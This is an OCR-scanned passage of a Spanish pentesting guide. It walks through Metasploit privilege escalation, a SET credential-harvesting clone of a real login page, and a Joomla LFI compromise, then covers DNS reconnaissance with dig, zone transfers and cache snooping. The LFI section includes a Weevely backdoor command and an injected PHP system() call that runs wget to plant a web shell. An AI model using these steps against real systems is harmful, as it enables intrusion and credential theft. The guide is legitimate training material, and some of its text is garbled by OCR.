tras obtener shell en el equipo de la victima, consigue elevar privilegios mediante la
extension getsystem?®. Dicha extension utiliza diversas técnicas y exploits (ej. kitrap0d®’)
para intentar elevar privilegios en el sistema.

Figura 13: Meterpreter Session (AutoRunScript migrate_mail)®

Incluso si el administrador del dominio se ha logueado recientemente en dicha maquina es
posible «tomar prestado» el token generado por Kerberos y asumir su rol mediante token
impersonation® comprometiendo asi el dominio al completo. Con la extensién incognito es
posible lisar los tokens disponible en el sistema (list_tokens) para ver si se dispone del token
del administrador del dominio. En el caso de contar con mdultiples sesiones, puede utilizarse

el

script (post/windows/gather/enum_domain_tokens)® de Jcran

(http://www.pentestify.org) con el cual automatizar la busqueda de dicho token.

26

27

28

29

30

Getsystem, Privilege Escalation via Metasploit
http://www.securityaegis.com/getsystem-privilege-escalation-via-metasploit/
KiTrapOd now in metasploit
http://carnalOwnage.attackresearch.com/2010/01/kitrapOd-now-in-metasploit.html
Metasploit migrate and e-mail
http://Oentropy.blogspot.com/2010/10/metasploit-migrate-and-e-mail.html

Token Passing with Incognito
http://carnalOwnage.attackresearch.com/2008/05/token-passing-with-incognito.html
Searching for a domain admin token
http://blog.pentestify.com/simple-framework-domain-token-scanner
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3.3. CASO 2: SOCIAL ENGINEERING TOOLKIT

Dada la importancia que tiene la ingenieria social en el mundo de la seguridad y en un
intento de fusionar dicha habilidad con herramientas de pentesting se credé SET (Social
Engineering Toolkit).

Desarrollada por David Kennedy (ReL1K), SET comprende una suite de herramientas
desarrollada en Python que trata de poner en practica numerosos vectores de ataque a
tavés de la ingenieria social. En sus primeras versiones, SET presenté diversos ataques por
medio de phishing, file-format bugs y certificados autofirmados en Java. Actualmente
dispone de una gran variedad de vectores de ataques adicionales. Entre los mas
destacables se encuentra el vector de ataque Wireless Attack Vector que hace uso de
airbase-ng para crear un Fake AP® y redirigir trafico, o el payload RATTE (Remote
Administration Tool Tommy Edition)* desarrollado por Thomas Werth y que permite
tunelizar instrucciones mediante HTTP aprovechandose de las configuraciones locales del
navegador, el payload Interactive Shell o el reciente e ingenioso Teensy USB HID Attack®.

En el ejemplo anterior, el usuario necesitaba tener una versién de Office o Flash Player
vulnerable para que se consiguiera ejecutar alguno de los exploits. Veamos cémo podemos
hacer algo parecido desde este framework. En el ejemplo se utilizara el vector de ataque
conocido como Multi-Attack Web Method® utilizando para ello un sitio web falso que
utilizara diversas técnicas para comprometer de alguna forma el equipo de la victima.

Como se vera a continuacion la ventaja principal de SET es la facilidad y rapidez con la que
se puede preparar un vector de ataque. Apenas pulsando un par de teclas es suficiente para
quedar a la espera de una shell.

% Aircrack-ng: Airbase-ng

http://www.aircrack-ng.org/doku.php?id=airbase-ng

White Paper: Breaking Enterprise Securiy
http://www.marko-rogge.de/BreakingEnterpriseSecurity. pdf

Defcon 19 Pentesting over Powerlines Video Uploaded
http://www.secmaniac.com/september-2011/defcon-19-pentesting-over-powerlines-video-uploaded/
Metasploit Unleashed: Multi-Attack Web Method
http://www.offensive-security.com/metasploit-unleashed/SET_Multi_Attack_Web_Vector
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Figura 14: Site Cloner

Figura 15: Tactical Nuke / Interactive Shell

3 CONAN - Alta de Usuarios Registrados - Microsoft Intermet Explorer

~ e
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Registrados (ce

Si todavia no 18 has regrtrado pusdss hacerio en 13 20na de Registo oo Usiarios
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Figura 16: Credential Harvester
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El Multi-Attack Web Method te permite
especificar sucesivos métodos de ataque
hasta que alguno de ellos tenga éxito.
En las imagenes se detalla el proceso de
configuracion del mismo. Una vez
configurado como Site Clone la URL de
login de uno de los portales de Inteco
(https://conan.cert.inteco.es/login.php)
especificamos el nimero de ataques que
gueremos utilizar. En este caso, hemos
elegido la opcidon Tactical Nuke que
habilita todos los tipos de ataques
automaticamente.

Al final de la configuracion, SET
preparard un servicio web en su puerto
80 encargado de clonar y ofrecer la web
fraudulenta ademés de un handler en el
puerto 443 a la espera de una sesién de
Meterpreter. Dicha URL se la enviaremos
a la victima y tras abrirla, el usuario se
enfrentara a diversos métodos de ataque.

En un principio tanto el Applet de Java
malicioso como el exploit que se
aprovecha del XSS en el centro de ayuda
y soporte de Microsoft (MS10-042) no
tienen éxito por lo que, como ultimo
recurso, se lleva a cabo un Credential
Harvester. Este método de ataque no
tiene por objetivo explotar ninguna
vulnerabilidad del navegador ni del S.0O.;
Unicamente consigue las credenciales del
usuario al que posteriormente redirige al
sitio web legitimo para enmascarar el
engafo.

En la salida, SET nos muestra las
credenciales del usuario bmerino con
password ConanElBarbaro24_#
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3.4. CASO 3: WEB SERVER EXPLOITATION

En este caso, en lugar de utiliza la ingenieria social se intentara explotar un sitio web por
medio de alguna vulnerabilidad conocida utilizando para ello diversas herramientas®. El
atacante utiliza Niko, Watobo®, Whatweb®’ y WPScan?® para auditar un sitio web hasta que
finalmente encuentra un posible punto de entrada. El servidor web contiene Joomla y parece
ser que uno de sus componentes es candidato a ser vulnerable a un LFI (Local File
Inclusion).

ot@ordor:/root/wha

[200] MetaGenerator[Joomla! 1.5 - Open Source Content Management]

, HTTPServer[Apache], Apache, IP| ], PHP[5.2.6], X-Powered-By[PHP/5.2.6], Joomla[l.5
,1.5.19 - 1.5.22][com contact,com content,com discu , Cogokies|
, Title|

root@ordor: /root/wl web-0.4.7#

Figura 17: WhatWeb

Aunque se desconoce la versién exacta de dicho componente, segin se puede leer en
exploit-db®, la version afectada es la 2.X y los fabricantes no han proporcionado ningan tipo
de parche o actualizacion por el momento por lo que es muy probable que el sitio sea
vulnerable al mismo. Primero, se comprobara que realmente existe dicho componente con el
siguiente dork:

G() ( 81@ site: | inurl:"option=com_rsappt_pro2" “

Bisqueda avanzada

Busqueda

Tedo
index.php?option=com_rsappt_pro2...
S

Figura 18: Google Dork LFI

El siguiente paso serd comprobar si existe el LFI en dicho componente. Para ello, se
utilizara Fimap, herramienta en Python especializada en LFI/RFI sobre aplicaciones web que
hacen mal uso de funciones como fopen(), include(), require(), require_once(), etc.

% Comparativa - Tools pentest web

http://sectooladdict.blogspot.com/2011/08/commercial-web-application-scanner.html
Installing Watobo on Backtrack 5
https://www.corelan.be/index.php/2011/07/23/installing-watobo-on-backtrack-5/
WhatWeb: Fingerprinting de applicaciones Web
http://www.pentester.es/2009/12/whatweb-fingerprinting-de-aplicaciones.html
Wpscan && Install on BT5

http://www.securityaegis.com/wpscan-install-on-bt5/

Appointment Booking Pro - ABPro

http://www.exploit-db.com/exploits/17553/
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Fimap puede ahorrar gran cantidad de tiempo probando multitud de ficheros con los cuales
hacer el LFI/RFI. Ademas, permite definir el payload® a ejecutar si alguna de estas
vulnerabilidades es explotada (por ej. una reverse shell).

Fimap permite también hacer de crawler dentro de un sitio web y generar un reporte con las
vulnerabilidades encontradas una vez finalice las pruebas con cada una de las paginas y
variables que encuentre en el sitio web.

root@Mordor:~/fimap alpha v07% ./fimap.py -u
“http:/www, /index.php?option=com_rsappt_prol &vie“=_& Itemid=12"

fimap v.07 by Iman Karim - Automatic LFLRFI scanner and expleiter.
SingleScan is testing URL: “hetp:/www. | | N i-: < phr ) ortion=com_rsappt_pro2&view=|| RS temid=1 2
[oUT] Parsing URL “htp-/ ww .. || | | N coion=com_rsappt_pro2 &view={ R temid=12"

[INFO] Fiddling around with URL. ..
[WARN] ©

[OTT] Possible file inclusion found! m_index.phpm=tom_rsappt_pro!&vie“:-&Itemid=]2’

with Parameter “view’.

entifving Vulnerability “http: www, index phpZoption=com_rsappt_pro2&view cItemid=12" wi
OUT] Identifving Vulnerability °h index phpTopt 2&4 & Ttemid=12" with

Parameter ‘view' ...

[INFO] Scriptpath received: ~'home/gthlinux 001/ c. || | | | | S s htdocs components com_rsappt_pro2’
[INFO] Trving NULL-Byte Poisoning to getrid of the suffix...

[D\TO] NULL-Bwte Poisoning successfull!

FO] Testing file “/etc/passwd’...

[IN
-
[INFO] Testing file */varloghttpd/accesslog ...
[H\IO] Testing file */varlog/apache2/access_log™._.
[INFO] Testing file “/varlog/apache/access_log’...
[INFO] Testing file /varloghttpd/access_log ...

.Jetc/passwd%o 0
Figura 19: Fimap Output

Segun muestra la salida, parece ser que efectivamente el servidor web hace uso de una
version vulnerable de dicho componente.

/O - vcn-om oo oz siew=/ [ N

root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin Ip:x:4:7:lp:/var/spool/lpd:/sbin/nologin
I < tdow n:x:6:0:shutdown:/sbin:/sbin/shutdow nEEE— N /11211 var/spool/mail:/sbin/nologin I

uucp:x: @§:uucp:/var/spooluucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/ nologm_
fip:x: R 1/ fip:/sbin/nologin nobody:x:99:99:Nobody:/-/sbin/nologin vesa:x:09:09:virtual console memory owner:/dev:/sbin/nologin rpe:x:32:32:Portmapper RPC user:/:/sbin/nologin

mailnull:x Sl var/spool/mqueu

Figura 20: LFI /etc/passwd

“ Automated LFI/RFI Scanning & Exploting with Fimap
http://kaoticcreations.blogspot.com/2011/08/automated-Ifirfi-scanning-exploiting.html
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Ademas, permite acceder a /proc/self/environ por lo que ya hay una posible via de entrada
para ejecutar codigo PHP. Existen numerosos métodos* para ejecutar codigo PHP en una
situacion LFI por medio de ficheros de configuracion y logs.

DOCUMENT RooT=/home | N GATEWAY INTEREACE=CGI/1.1 HTTP_ACCEPT=text/html,
application/xinl;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*,q=0.1
[-]

REFERER=hiip ://iwww. HTTP USER AGENT=Mozilla/5.0(X11; Linuxi686;rv:6.0)
Gecko/20100101 Firefox/6.0

[

Figura 21: /proc/self/environ

De hecho, uno de los motivos por lo que Fimap ahorra mucho tiempo es porque durante sus
tests, prueba gran cantidad de ficheros locales susceptibles de ser utilizados. En este caso,
suele emplearse el campo USER_AGENT del navegador para inyectar cédigo PHP en el
servidor web. El atacante decide entonces subir una shell que previamente creara con
Weevely*”. Mediante Weevely podemos crear una shell codificada en base64 (itil para
eludir determinados AV) que permite enviar y recibir parametros por medio del campo HTTP
REREFER, haciéndolo también bastante silencioso frente a ciertos NIDS. Ademas, dicha
comunicacion requiere de una contrasefia que autentique al cliente de la conexion. Para
generar la shell ejecutamos lo siguiente:

:/pentest/backdoors/web/weevely# python main.py

alth PHP backdoors.

:/pentest/backdoors/web/weevely# python main.py -p MUAHA ha -g -o troy.php
tealth PHP backdoors.

ight (c) 2011

e //code.google. com

Backdoor file 'troy.php ated with p

Figura 22: Backdoor con Weevely

Tras copiar la shell en /varlwww, estard lista para su descarga por medio del
USER_AGENT. Una vez lanzada la peticion y visualizando de nuevo /proc/self/environ, se
ejecutara la funcién system() descargando la shell en el servidor web.

“ SecurityArtWork: recopilacion Local File Inclusiéon LFI

http://www.securityartwork.es/2010/12/22/recopilacion-local-file-inclusion-Ifi/
Eric Romang Blog: Weevely Stealth Tiny PHP Backdoor Analysis
http://eromang.zataz.com/2011/10/11/weevely-stealth-tiny-php-backdoor-analysis/
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Ventana Tamper =EES
nee
Nombre de cabecera pedida | Valor de cabecera pedida | Nombre de para... | |
Host ]
<?system('wget http: /| R . oY.txt -O troy.php'
Accept | *E
Accept-Language | es-es,es;q=0.8,en-us;q=0.5,en;q=0.3

Figura 23: Inyeccién de cédigo por medio del User Agent (Tamper Data)

Para comunicarnos con la shell Unicamente especificaremos su ruta y el password para
autenticarnos. Si capturamos trafico cuando enviamos 6rdenes con Weevely podemos ver
como se utiliza el campo REFERER:

troy.php -p"MUAHA ha

Mon Oct 10, 3:23 PM

Qs 5 0l 53 Qe Au e VT i

Tl Expression... Clear

lias 2 Request URI: /troy.php
b 7 Request Version: HTTP/1.0 L3
Host:
Figura 24: Shell por medio de Weevely User-Agent: Python-urllib/1.17\r\n
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.14) Gecko/2009696216 Ubuntu/9.04 (jaunty) Firefox/3.6.14\r\n
| Referer: http://ww.googl&(om/urT?sa:MU&source:web&c(=7&ur1:httpi_troy.php&r(t:]&q: troy&e1=QHN5c3R1bSgnY2QqL&|
\r\n

Vistos estos ejemplos, podemos extraer las siguientes conclusiones:

1. La efectividad de un ataque es totalmente proporcional a la cantidad de informacién
gue se tenga sobre el sistema objetivo.

2. El descuido por parte de responsables de seguridad sobre la publicacion de
determinada informacién puede ser utilizada de forma ofensiva para ingeniar un
ataque. Lo mismo ocurre con configuraciones de servicios y sistemas que ofrecen
informacién precisa sobre las versiones de software que estan en funcionamiento
(banners, mensajes de error, etc.)

3. No es necesario ser un experto para desplegar muchos de los ataques que hoy en
dia sufren organizaciones y empresas. La existencia de herramientas de pentesting
utilizadas para llevar a cabo auditorias son también utilizadas por ciberdelicuentes
para comprometer sistemas. La facilidad de uso de muchas de estas herramientas
da lugar a que se incrementen los intentos de intrusién por personas que apenas
tienen conocimientos basicos en seguridad.*?

4. No incluir la ingenieria social dentro de la gestion del riesgo puede tener
implicaciones desastrosas para una organizacién. Esto se agrava aun mas si se
carece de contramedidas que permitan contener ataques de esta envergadura.

* Thoughts on Metasploit's Impact

http://anti-virus-rants.blogspot.com/2011/11/thoughts-on-metasploits-impact.html
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La auditoria* preliminar sobre la reciente intrusion en los sistemas de la autoridad
certificadora DigiNotar puso de manifiesto como el descuido de politicas de seguridad
basicas dio lugar a una intrusién de tal dimensién. Falta de antivirus, contrasefas débiles,
servidores CA dentro de un mismo dominio, software desactualizado, carencia de sistemas
de validacion de credenciales (login), etc. presentan el caldo de cultivo perfecto para un
A.P.T (Advance Persistent Threat).

Como dato de interés, la serie de informes DBIR* (Data Breach Investigations Report) de
Verizon refleja un total de 1700 brechas de seguridad y mas de 900 millones de registros
comprometidos, dejando mas que claro que las intrusiones y el robo de datos sigue siendo
un problema critico para las organizaciones.

Adem§s, s e g YanSecerity IntglligencemrReport® de Microsoft, los ataques por
ingenieria social (como por ejemplo falsos antivirus o phishing) representan el 45% de los
vectores de ataque actuales, mientras que, exploits 0 Day representan menos del 1% de los
de los mismos.

NOTA: La etapa de Information Gathering
es sin lugar a duda la mas extensa de todo

) ., ) . add branch | @ [ 2] © add note | [3=] note categories ¥ |
el proceso de intrusion. Esta fase implica ol Informelion == =
la recopilacion de informacion de r h—— 3 Category: default category
numerosas fuentes’ emp|eand0 para ello 7 Metadatos Ficheros + Buffer overflow testing: testing: 1 HEAD XAXAX HTTP/1.0 ........... t default categ
. . . ~—lD°C
multitud de herramientas de pentesting. 3 Dominio = Normal tests
- . ., =] fip_internal + Buffer overflow testing:
Para facilitar la organizacion de todos los 5] redhat_internal testing: 1 User-Agent: XAXAX ...
datos que se vayan recopilando a lo largo ) MetBspIoR Aiop testing:i2 Host: XAXAX. ...,
) ] = ) =] Firewalis/Routers testing: 3 Accept: XAXAX ...........
de la investigacion se han creado diversas i) Opedvas OQutpit testing: 4 Accept-Encoding: XAXAX ...........
3 App Vulnerables testing: 5 Accept-Language: XAXAX

4 () Posible Remoto
] Test Fuzzing Spike
) Bed Plugin HTTP
_JLocal

herramientas como Basket, Leo, Dradis,
etc. cuya mision es la de trabajar a modo
de repositorio de informacion. En la
imagen se muestra Dradis”, un

testing: 6 Accept-Charset: XAXAX ..........
testing: 7 Connection: XAXAX ...........
testing: 8 Referer: XAXAX ...........

Notes Import note. Attachments

framework Open-Source que implementa
un servidor de plugins con los cuales
importar y parsear el contenido generado por herramientas externas como Nmap, Nessus, etc. Dradis viene pre-
instalado en Backtrack 5 (/pentest/misc/dradis) y resulta realmente util para ir anotando todo tipo de informacion
sobre el sistema auditado.

Figura 25: Captura de Dradis (Bed Output)

“ Fox-IT Digi Notar

http://www.rijksoverheid.nl/bestanden/documenten-en-publicaties/rapporten/2011/09/05/diginotar-public-report-version-
1/rapport-fox-it-operation-black-tulip-v1-0.pdf

2011 Data Breach Investigations Report
http://www.verizonbusiness.com/resources/reports/rp_data-breach-investigations-report-2011_en_xg.pdf

Security Intelligence Report (SIR) Volume 11
http://download.microsoft.com/download/0/3/3/0331766E-3FC4-44E5-B1CA-

2BDEB58211B8/Microsoft_Security Intelligence_Report_volume_11_English.pdf

Dradis Framework

http://dradisframework.org
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http://dradisframework.org/
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4. EXTERNAL FOOTPRINTING

4.1. ACTIVE FOOTPRINTING

4.1.1. Dns Discovery

El servicio DNS, Domain Name System o DNS (en espafiol: sistema de nombres de
dominio) es un sistema de nomenclatura jerdrquica para computadoras, servicios o
cualquier recurso conectado a Internet o a una red privada DNS*. Es un servicio esencial
para el funcionamiento de las redes de computadores. Los sistemas DNS ofrecen gran
cantidad de informacion de utilidad. Este servicio hace més simple el acceso por parte de
usuarios y administradores a los servicios, creando una capa de abstraccién que enmascara
las direcciones de red con cadenas de texto, que son mas sencillas de recordar. Ademas,
por regla general, los nombres de los sistemas suelen describir la funcion que desempefian
para ayudar a los administradores de sistemas, desarrolladores y usuarios finales a recordar
y acceder a los mismos. La informacion del protocolo DNS se almacena en registros. A
continuacion se ofrece un listado de los registros y la informacion que éstos almacenan.

A = Address i (Direccion) Este registro se usa para traducir nombres de hosts a direcciones IPv4.

AAAA = Address i (Direccion) Este registro se usa en ipv6 para traducir nombres de hosts a direcciones IPv6.
CNAME = Canonical Name i (Nombre Candnico) Se usa para crear nombres de hosts adicionales, o alias, para
los hosts de un dominio. Es usado cuando se estan corriendo mdltiples servicios (como ftp y servidores web) en un
servidor con una sola direcciéon IP. Cada servicio tiene su propia entrada de DNS (como ftp.ejemplo.com. y
www.ejemplo.com.). Esto también es usado cuando se ejecutan multiples servidores http, con diferentes nombres,
sobre el mismo host.

NS = Name Server i (Servidor de Nombres) Define la asociacién que existe entre un nombre de dominio y los
servidores de nombres que almacenan la informacién de dicho dominio. Cada dominio se puede asociar a una
cantidad cualquiera de servidores de nombres.

MX (registro) = Mail Exchange i (Registro de Intercambio de Correo) Asocia un nombre de dominio a una lista de
servidores de intercambio de correo para ese dominio.

PTR = Pointer i (Indicador) También conocido como 'registro inverso', funciona a la inversa del registro A,
traduciendo IPs en nombres de dominio.

SOA = Start Of Authority T (Autoridad de la zona) Proporciona informacién sobre el servidor DNS primario de la
zona.

HINFO = Host INFOrmation i (Informacién del equipo) Descripcion del host, permite que la gente conozca el tipo
de maquina y sistema operativo al que corresponde un dominio.

TXT = TeXT - (Informacion textual) Permite a los dominios identificarse de modos arbitrarios.

LOC = LOCalizacion - Permite indicar las coordenadas del dominio.

WKS - Generalizacion del registro MX para indicar los servicios que ofrece el dominio. Obsoleto en favor de SRV.
SRV = SeRVicios - Permite indicar los servicios que ofrece el dominio. RFC 2782

SPF = Sender Policy Framework - Ayuda a combatir el Spam. En este registro se especifica los hosts que estan
autorizados a enviar correo desde el dominio dado.

“8 A DNS RR for specifying the location of services (DNS SRV)
http://tools.ietf.org/html/rfc2782
Wikipedia: Domain Name System
http://es.wikipedia.org/wiki/Domain_Name_System

Pentest: Recoleccion de informacién (Information Gathering) 27


http://tools.ietf.org/html/rfc2782
http://es.wikipedia.org/wiki/Domain_Name_System

Instituto Nacional

GOBIERNO MINISTERIO
N DE INDUSTRIA, TURISMO [ ] InTeCO de Tecnologias . CS | RT- CV
ﬁ% == Y COMERCIO CLUCL Z CL de la Comunicacién Conts it TiC
entre Sequretat
de lo Comunitot Valenciano

El servicio DNS proporcionara por tanto informacion fundamental durante el proceso de
Information Gathering gracias al cual podremos hacer un primer mapa de la infraestructura
de red objetivo. A continuacién, revisaremos diferentes herramientas que nos permiten
interrogar a los servidores DNS para obtener informacion de estos registros.

41.1.1. DIG

El objetivo principal de este apartado es reflejar las opciones mas Utiles para obtener
informacion de los servidores DNS e interpretar los resultados de las diferentes
herramientas utilizadas (no pretende ser una guia exhaustiva ni de las herramientas ni del
protocolo DNS):

Dig - DNS lookup utility

La herramienta dig*® permite interrogar a un servidor DNS en busca de informacién util sobre
un determinado dominio. Dig es una herramienta por linea de comandos que ofrece las
siguientes opciones y modos de uso:

dig [@global-server] [domain] [g-type] [q-class] {g-opt} {global-d-opt} host [@local-server] {local-d-opt}[ host [@local-
server] {local-d-opt} [...]]

Si con la herramienta dig se lanza una consulta sobre un dominio sin ningan paradmetro, ésta
preguntara por el valor del registro A, y utilizara los servidores DNS del fichero
letc/resolv.conf siendo el tipo de red por defecto IN (Internet class).

~$ dig www.csirtcv.gva.es

Una vez realizada la peticion, se analizara la respuesta. Primero, se observa como en la
cabecera muestra una serie de opciones de la consulta realizada, asi como los flags, la
cantidad de preguntas, respuestas, etc.

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 53976
;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 1, ADDITIONAL: 2

9 Paul Heinlein: Dig HowTo
http://www.madboa.com/geek/dig/
IBM: Dig Command
http://publib.boulder.ibm.com/infocenter/zvm/v5r4/index.jsp?topic=/com.ibm.zvm.v54 kijl0/digcomm.htm
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Seccién que muestra la pregunta que se ha realizado:

;; QUESTION SECTION:

;www.csirtcv.gva.es. IN A

Seccibén que ofrece la respuesta:

;i ANSWER SECTION:

www.csirtcv.gva.es. 86400 IN CNAME www.csirtcv.es.
www.csirtcv.es. 5 IN A 193.145.206.33
www.csirtcv.es. 5 IN A 195.77.16.241

*; CSIRT-CV
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Seccién que indica qué servidores DNS pueden ofrecernos una respuesta autoritativa™:

;; AUTHORITY SECTION:
WWW.CSirtcv.es. 172800 IN NS Ip.gva.es.

Seccién con las direcciones IP de los servidores DNS que ofrecen una respuesta

autoritativa:

;i ADDITIONAL SECTION:

Ip.gva.es. 86400 IN A 195.77.23.7
Ip.gva.es. 86400 IN A 193.144.127.7
;; Query time: 419 msec

;; SERVER: 127.0.0.1#53(127.0.0.1)

;3 WHEN: Thu May 12 10:01:16 2011

;» MSG SIZE rcvd: 143

Por defecto dig ofrece la salida que se muestra en las imagenes superiores. Es posible
deshabilitar algunas de sus secciones mediante el uso de parametros con el prefijo «+no»,

como, por ejemplo, «+noquestions, donde no s e visualizar §
SECTI ONO en | a salida.
% What Is Authoritative Name Server?
http://dnsknowledge.com/whatis/authoritative-name-server/
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Ademas, existe la posibilidad de preguntar por cualquier registro asociado al dominio:

$dig gva.es NS +noall +answer

; <<>> DiG 9.6-ESV-R4 <<>> gva.es NS +noall +answer

;; global options: +cmd

gva.es. 22106 IN NS  ninot.gva.es.
gva.es. 22106 IN NS chico.rediris.es.
gva.es. 22106 IN NS tirant.gva.es.

Una vez conocidos los servidores DNS, suele ser habitual intentar hacer transferencias de
zona®! tanto en su versién TCP como en UDP (opcién +notcp) con las cuales obtener
direccionamiento interno asi como nombres de maquinas sugerentes. En el caso de usar
peticiones UDP solo se obtendra respuesta si el fichero de zona es inferior a los 512 bytes;
aunque es posible utilizar transferencias de zona incrementales utilizando el serial
number del registro SOA (par4 mas informacion de esta técnica consulte la referencia al
post de paultdotcom®?)

$ dig @servidor dominio.es axfr

; <<>> DiG 9.7.3 <<>> @servidor dominio.es axfr
; (1 server found)

;; global options: +cmd

; Transfer failed.

Para obtener, en una sola consulta, cualquier registro asociado a un nombre de dominio
podemos ejecutar:

$dig usa.gov ANY

; <<>> DiG 9.7.3 <<>> usa.gov ANY
;; global options: +cmd

;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 41552
;; flags: gr rd ra; QUERY: 1, ANSWER: 6, AUTHORITY: 2, ADDITIONAL: 3

;3 QUESTION SECTION:
;usa.gov. IN  ANY

;s ANSWER SECTION:
usa.gov. 600 IN A 209.251.180.18
usa.gov. 600 IN MX 10 mx10.usa.gov.

' DNS Zone Transfer
http://forum.internOt.net/offensive-guides-information/1934-dns-zone-transfer.html

%2 Incremental DNS Zone Transfers
http://pauldotcom.com/2011/11/incremental-zone-transfers-for.html
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usa.gov. 600 IN MX 20 mx20.usa.gov.

usa.gov. 3600 IN SOA nsl.datareturn.com. hostmaster.datareturn.com. 2011061400 900 600 86400 3600
usa.gov. 600 IN NS ns2.datareturn.com.

usa.gov. 600 IN NS nsl.datareturn.com.

;3 AUTHORITY SECTION:

usa.gov. 600 IN NS nsl.datareturn.com.
usa.gov. 600 IN NS ns2.datareturn.com.
;; ADDITIONAL SECTION:

mx10.usa.gov. 600 IN A 159.142.1.200
mx20.usa.gov. 600 IN A 159.142.1.251

ns2.datareturn.com. 30 IN A 209.251.191.25

;; Query time: 367 msec
;s SERVER: 127.0.0.1#53(127.0.0.1)
;s WHEN: Mon Jun 20 13:36:58 2011
;; MSG SIZE rcvd: 256

Con esta Ultima consulta es posible obtener los servidores DNS del dominio, servidores de
correo, ver los tiempos que va a mantener los datos almacenados (TTL), etc..

41.1.2. DNS Cache Snooping

Mediante DNS cache Snooping™ podremos consultar a servidores DNS sobre determinados
dominios con el objetivo de saber si éstos ya han sido visitados desde la organizacion.
Aunque parezca algo inofensivo, puede ser realmente Util durante la labor de Information
Gathering. Conocer los bancos a los que se conectan los empleados de una organizacion
resultara bastante Gtil para planificar ataques de phishing posteriores. Lo mismo ocurre para
vectores de ataques tipo Spear Phishing, como el visto en el apartado 3, ya que, en
determinadas ocasiones, serd posible deducir si utilizan determinado software consultando
paginas de actualizaciones como las de Adobe o Microsoft, acotando asi el rango de
exploits a utilizar.

Para llevar a cabo esta técnica existen dos posibles aproximaciones:

1. Por un lado, The Ecological Way (Non-Recursive Queries), que consiste en
realizar peticiones DNS deshabilitando la recursividad, de manera que si el resultado
se encuentra en la caché sera devuelto. Con esto es posible determinar los dominios
consultados en un determinado servidor DNS y almacenados en la caché del mismo.

** Snooping the Cache for Fun and Profit

http://www.rootsecure.net/content/downloads/pdf/dns_cache_snooping.pdf
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El siguiente ejemplo muestra una consulta a uno del los servidores DNS de Google
(8.8.8.8), para conocer si el dominio facebook.com esté cacheado:

$dig @8.8.8.8 www.facebook.com A +norecurse

; <<>> DiG 9.7.3 <<>> @8.8.8.8 www.facebook.com A +norecurse

; (1 server found)

;; global options: +cmd

;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 10055
;; flags: gr ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;s QUESTION SECTION:
:www.facebook.com. IN A

;7 ANSWER SECTION:
www.facebook.com. 16 IN A 69.171.224.42

;; Query time: 13 msec

;; SERVER: 8.8.8.8#53(8.8.8.8)

;s WHEN: Mon Jun 20 14:04:18 2011
;» MSG SIZE rcvd: 50

Del resultado de la consulta se obtiene el nombre de dominio asi como la direccion
con la que lo resuelve. Este procedimiento se puede utilizar sobre cualquier caché
DNS para obtener un perfil de navegacion de sus usuarios.

También es posible utilizar: The Polluting Way (Recursive Queries). En este caso,
incluso cuando se obliga a usar la recursividad, es posible «intuir» que el resultado
de la peticion se encuentra cacheada. Para ello, se analizan los tiempos TTL tanto
del servidor autoritativo como del servidor DNS al que se pregunta. Cuando se
obtiene la respuesta del servidor DNS objetivo, el valor TTL que se recibe seréa el
TTL original (prefijado por el servidor autoritativo) menos el tiempo que dichos datos
llevan cacheados. Por tanto, obteniendo los valors TTL de ambos servidores, puede
obtenerse el tiempo que ha transcurrido desde que el servidor DNS objetivo pregunto
al DNS autoritativo como consecuencia de una consulta de algun cliente.

Una desventaja principal de este método es que por medio de las consultas se
fuerza el cacheo de determinados dominios en el servidor objetivo. Algunos
servidores DNS devuelven valores TTL a O para evitar ofrecer informacion sobre las
queries cacheadas.
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Algunas de las herramientas que utilizan ambos métodos para conseguir direcciones
cacheadas son cache_snoop.pl o el script NSE dns-cache-snoop.

oop.nse --script-args 'dns-cache-snoop.mode=timed,d cache-snoop.domains=]
it-db.com}' nsl.

ng Nmap 5.59BETAl ( _http
eport for nsl. | (

nsl.

of 5 tested domains

Figura 26: Script NSE dns-cache-snoop

Una alternativa a la linea de comandos es Foca. Esta incluye un médulo DNS Cache
Snooping® al que se le puede pasar un fichero con la lista de dominios que se quieren

comprobar.
Online seminars FOCA 3.0
S
Domain -es [ , Obtain DNS servers ]
File C:\archivos de programa\InformaticaB4\FOCA Free\domains. txt [ v Load file ]
Dns [ r Snoop DNS ]
Cache Host A

wwww.facebook_com
www, tuenti.com
update.microsoft.com
www.bbva.es

W cajasol.es
marca.com
mundodeportivo.com
www.periodistadigital. com
megavideo.com

Figura 27: M6dulo DNS Cache Snooping de Foca

* FOCA DNS Cache Snooper
http://www.elladodelmal.com/2010/07/foca-dns-cache-snooper.html
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4.1.1.3. DNS Bruting: Metasploit

Metasploit también proporciona el médulo dns_enum con el que se pueden lanzar
multiples peticiones e incluso hacer un brute-force de nombres DNS a partir de un
diccionario.

msf > search gather

[*¥] Searching loaded modules for pattern ‘gather'...

Auxiliary
Name Disclosure Date Rank Description
admin/oracle/tnscmd 2009-02-01 normal Oracle TNS Listener Command Issuer
gather/android_htmlfileprovider normal Android Content Provider File Disclosure
gather/citrix_published_applications normal Citrix MetaFrame ICA Published Applications Scanner
gather/citrix_published_bruteforce normal Citrix MetaFrame ICA Published Applications Bruteforcer
gather/dns_enum normal DNS Enumeration Module
gather/search_email_collector normal Search Engine Domain Email Address Collector

scanner/http/cisco_device_manager  2000-10-26 normal Cisco Device HTTP Device Manager Access

Tras configurar determinados aspectos del moédulo (show options), podemos realizar la
consulta:

msf auxiliary(dns_enum) > set domain dominio.es
msf auxiliary(dns_enum) > set ns 192.168.1.25

msf auxiliary(dns_enum) > show options

Module options (auxiliary/gather/dns_enum):

Name Current Setting Required Description

DOMAIN dominio.es yes The target domain name

ENUM_AXFR false yes Initiate a zone Transfer against each NS record

ENUM_BRT false yes Brute force subdomains and hostnames via wordlist

ENUM_IP6 false yes Brute force hosts with IPv6 AAAA records

ENUM_RVL false yes Reverse lookup a range of IP addresses

ENUM_SRV true yes Enumerate the most common SRV records

